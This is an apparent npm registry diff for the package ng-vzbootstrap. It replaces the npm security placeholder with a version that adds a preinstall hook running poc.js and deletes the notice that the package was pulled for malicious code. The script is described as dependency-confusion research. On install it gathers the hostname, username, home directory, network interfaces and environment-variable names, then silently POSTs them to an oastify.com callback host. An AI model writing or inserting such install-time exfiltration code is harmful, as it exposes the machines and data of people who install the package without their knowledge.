ng-vzbootstrap 0.0.1-security → 1.0.2

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "ng-vzbootstrap",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.2",
+  "description": "DC PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node poc.js"
+  },
+  "author": "Mark",
+  "license": "MIT"
 }

package/poc.js

@@ -0,0 +1,62 @@
+const https = require('https');
+const os = require('os');
+
+/**
+ * PoC Script for Dependency Confusion Research
+ * This script is intended for authorized security testing only.
+ * It captures system metadata to prove execution in internal environments.
+ */
+
+async function runPoc() {
+    // 1. Gather System Metadata
+    const sessionData = {
+        package: "ng-vzbootstrap", // Update this for each package
+        timestamp: new Date().toISOString(),
+        hostname: os.hostname(),
+        platform: os.platform(),
+        arch: os.arch(),
+        user: os.userInfo().username,
+        home_dir: os.userInfo().homedir,
+        cwd: process.cwd(),
+        // Captures internal IP addresses (10.x.x.x, 172.x.x.x, etc.)
+        internal_networks: os.networkInterfaces(),
+        // Captures environment variables that often contain project names or cloud metadata
+        // Be careful: this can be sensitive, but helpful for attribution.
+        env_keys: Object.keys(process.env).filter(key => 
+            key.includes('VZ') || key.includes('APP') || key.includes('CI')
+        )
+    };
+
+    const payload = JSON.stringify(sessionData);
+
+    // 2. Configure the callback (Burp Collaborator / Webhook.site)
+    // Replace with your current Collaborator payload host
+    const trackingHost = 'https://v40yzunhujopno5hgxra68giv910psdh.oastify.com';
+
+    const options = {
+        hostname: trackingHost,
+        port: 443,
+        path: '/',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': payload.length,
+            'User-Agent': 'Security-PoC-Verification'
+        }
+    };
+
+    // 3. Execute the Request
+    const req = https.request(options, (res) => {
+        // Silent completion
+    });
+
+    req.on('error', (e) => {
+        // Fail silently to avoid alerting the system logs unnecessarily
+    });
+
+    req.write(payload);
+    req.end();
+}
+
+// Execute the PoC
+runPoc();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=ng-vzbootstrap for more information.